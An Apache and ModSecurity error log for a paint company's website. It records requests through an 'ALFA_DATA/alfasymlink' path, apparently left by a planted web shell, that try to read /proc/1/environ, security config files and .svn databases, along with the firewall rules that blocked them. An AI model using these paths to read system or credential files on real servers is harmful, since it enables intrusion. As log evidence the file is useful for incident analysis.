[Tue Oct 27 03:41:22.353821 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 34.239.197.197:22269] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/device:15/eject
[Tue Oct 27 03:41:26.375197 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.209.137.234:18126] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:41:38.410329 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 3.94.199.128:19112] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:41:42.180723 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.229.2.217:38487] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:41:42.342411 2026] [core:error] [pid 3194327:tid 3194327] (13)Permission denied: [client 85.208.96.196:57718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/ctor
[Tue Oct 27 03:41:54.324075 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 50.16.216.166:2102] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:42:10.172037 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 18.205.127.11:35763] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:42:18.161381 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 3.231.193.38:43149] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:42:26.360663 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.212.205.90:21340] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:42:29.062861 2026] [security2:error] [pid 3194254:tid 3194254] [client 16.216.88.51:26624] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwhistory.conf"] [unique_id "auBV5RsMrQZ-lBI87Ul1mQAAAAU"]
[Tue Oct 27 03:42:29.063340 2026] [security2:error] [pid 3194254:tid 3194254] [client 16.216.88.51:26624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwhistory.conf"] [unique_id "auBV5RsMrQZ-lBI87Ul1mQAAAAU"]
[Tue Oct 27 03:42:29.063677 2026] [security2:error] [pid 3194254:tid 3194254] [client 16.216.88.51:26624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwhistory.conf"] [unique_id "auBV5RsMrQZ-lBI87Ul1mQAAAAU"]
[Tue Oct 27 03:42:30.184716 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 184.73.68.20:11920] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:42:42.152228 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 18.235.158.19:38763] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:42:46.177481 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 44.223.115.10:11766] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:43:02.182637 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 44.220.2.97:28013] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty0/subsystem/ttyS3/xmit_fifo_size
[Tue Oct 27 03:43:06.157325 2026] [core:error] [pid 3194327:tid 3194327] (13)Permission denied: [client 54.83.56.1:27587] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/driver/00:01/subsystem/drivers/tpm_tis/unbind
[Tue Oct 27 03:43:10.230122 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 44.212.232.231:2761] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:43:18.218976 2026] [core:error] [pid 3194328:tid 3194328] (13)Permission denied: [client 54.197.82.195:31802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:05.0/firmware_node/subsystem/uevent
[Tue Oct 27 03:43:22.494270 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 52.200.54.136:5766] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:43:26.207260 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 3.220.70.171:9336] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:43:34.341043 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 3.222.85.38:6776] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:43:50.171363 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 54.84.102.81:2508] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:43:54.177605 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 3.232.102.111:11928] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:43:58.200562 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 54.84.147.79:4982] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:44:14.220203 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 100.28.118.16:39977] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/cpu1/firmware_node/eject
[Tue Oct 27 03:44:18.290408 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.159.98.248:11823] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:44:22.166908 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 44.223.116.149:38975] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:44:42.173326 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 100.29.160.53:52358] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:44:50.157864 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 54.147.182.90:39302] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:45:06.218949 2026] [core:error] [pid 3194344:tid 3194344] (13)Permission denied: [client 18.211.148.239:24747] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/uevent
[Tue Oct 27 03:45:10.349332 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 98.84.60.17:63209] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:45:14.230492 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 184.73.239.35:54746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/subsystem/drivers/ac/unbind
[Tue Oct 27 03:45:32.457469 2026] [core:crit] [pid 3194254:tid 3194254] (13)Permission denied: [client 144.76.19.24:27692] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fd/' is executable
[Tue Oct 27 03:45:32.457523 2026] [core:crit] [pid 3194254:tid 3194254] (13)Permission denied: [client 144.76.19.24:27692] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/map_files/' is executable
[Tue Oct 27 03:45:32.457540 2026] [core:crit] [pid 3194254:tid 3194254] (13)Permission denied: [client 144.76.19.24:27692] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fdinfo/' is executable
[Tue Oct 27 03:45:34.174705 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 3.213.85.234:33710] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:45:35.755883 2026] [core:crit] [pid 3184472:tid 3184472] (13)Permission denied: [client 144.76.19.24:55506] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fd/' is executable
[Tue Oct 27 03:45:35.755934 2026] [core:crit] [pid 3184472:tid 3184472] (13)Permission denied: [client 144.76.19.24:55506] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/map_files/' is executable
[Tue Oct 27 03:45:35.755975 2026] [core:crit] [pid 3184472:tid 3184472] (13)Permission denied: [client 144.76.19.24:55506] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fdinfo/' is executable
[Tue Oct 27 03:45:39.032510 2026] [core:crit] [pid 3175284:tid 3175284] (13)Permission denied: [client 144.76.19.24:55512] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fd/' is executable
[Tue Oct 27 03:45:39.032590 2026] [core:crit] [pid 3175284:tid 3175284] (13)Permission denied: [client 144.76.19.24:55512] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/map_files/' is executable
[Tue Oct 27 03:45:39.032606 2026] [core:crit] [pid 3175284:tid 3175284] (13)Permission denied: [client 144.76.19.24:55512] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fdinfo/' is executable
[Tue Oct 27 03:45:42.127172 2026] [core:crit] [pid 3175284:tid 3175284] (13)Permission denied: [client 144.76.19.24:55512] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fd/' is executable
[Tue Oct 27 03:45:42.127237 2026] [core:crit] [pid 3175284:tid 3175284] (13)Permission denied: [client 144.76.19.24:55512] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/map_files/' is executable
[Tue Oct 27 03:45:42.127252 2026] [core:crit] [pid 3175284:tid 3175284] (13)Permission denied: [client 144.76.19.24:55512] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fdinfo/' is executable
[Tue Oct 27 03:45:46.281918 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.232.12.157:62366] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:45:48.501449 2026] [core:error] [pid 3194351:tid 3194351] (13)Permission denied: [client 144.76.19.24:64986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/environ
[Tue Oct 27 03:45:50.179952 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 3.210.29.96:50306] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:45:59.387697 2026] [authz_core:error] [pid 3175284:tid 3175284] [client 181.116.178.143:50974] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://each.co.in/redirect.php?ref_host=kreativwort.de
[Tue Oct 27 03:46:02.181819 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 34.236.185.101:23700] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:46:06.186219 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 98.82.59.253:30285] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:46:10.139750 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 44.215.231.15:26262] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:46:14.157095 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 52.1.106.130:29619] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:46:18.387791 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 44.195.50.71:2097] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:46:26.193679 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 3.210.29.96:15428] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:46:30.167479 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.200.251.20:36984] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:46:34.179916 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 52.23.112.144:4859] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:46:38.200594 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 54.225.98.148:51705] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:46:50.163794 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 54.197.82.195:51559] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:46:58.155040 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 44.215.61.66:8652] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:47:02.164270 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.215.77.19:51391] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:47:07.296125 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 85.208.96.197:35340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/scsi_sense_cache/validate
[Tue Oct 27 03:47:10.116484 2026] [core:error] [pid 3194328:tid 3194328] (13)Permission denied: [client 185.191.171.11:17206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/shrink
[Tue Oct 27 03:47:10.272935 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 23.21.225.190:45022] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:47:22.148529 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 107.20.255.194:46686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory7/node0/memory10/subsystem/uevent
[Tue Oct 27 03:47:30.138263 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.223.193.255:12921] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:47:33.561033 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 185.191.171.2:60104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/order
[Tue Oct 27 03:47:42.170807 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.202.52.82:15831] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:47:54.496729 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 3.210.29.96:46453] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:47:58.157786 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.86.59.155:21226] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:48:10.224598 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 54.144.185.255:32739] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:48:14.154685 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.224.9.144:14233] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:48:26.171731 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.6.232.201:41310] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:48:32.567038 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 85.208.96.210:46626] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_tables/sections/__ksymtab_strings
[Tue Oct 27 03:48:34.280418 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 100.25.120.246:36237] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:48:50.252973 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.70.209.13:44269] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:48:54.155656 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 52.3.156.186:55821] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:49:06.317591 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 107.20.25.33:44833] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:49:10.286898 2026] [security2:error] [pid 3194328:tid 3194328] [client 80.94.92.126:50216] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdssFEw8TBOSK6W-magAAAAk"]
[Tue Oct 27 03:49:10.287091 2026] [security2:error] [pid 3194328:tid 3194328] [client 80.94.92.126:50216] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdssFEw8TBOSK6W-magAAAAk"]
[Tue Oct 27 03:49:10.287280 2026] [security2:error] [pid 3194328:tid 3194328] [client 80.94.92.126:50216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdssFEw8TBOSK6W-magAAAAk"]
[Tue Oct 27 03:49:10.287592 2026] [security2:error] [pid 3194328:tid 3194328] [client 80.94.92.126:50216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdssFEw8TBOSK6W-magAAAAk"]
[Tue Oct 27 03:49:10.335285 2026] [security2:error] [pid 3175284:tid 3175284] [client 80.94.92.126:50228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdkQFomyjz0g-y4eNpgAAAAo"]
[Tue Oct 27 03:49:10.335461 2026] [security2:error] [pid 3175284:tid 3175284] [client 80.94.92.126:50228] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdkQFomyjz0g-y4eNpgAAAAo"]
[Tue Oct 27 03:49:10.335636 2026] [security2:error] [pid 3175284:tid 3175284] [client 80.94.92.126:50228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdkQFomyjz0g-y4eNpgAAAAo"]
[Tue Oct 27 03:49:10.335878 2026] [security2:error] [pid 3175284:tid 3175284] [client 80.94.92.126:50228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdkQFomyjz0g-y4eNpgAAAAo"]
[Tue Oct 27 03:49:10.339086 2026] [security2:error] [pid 3194351:tid 3194351] [client 80.94.92.126:50232] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases3.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXds-M-kXjH-VclWYJEAAAABg"]
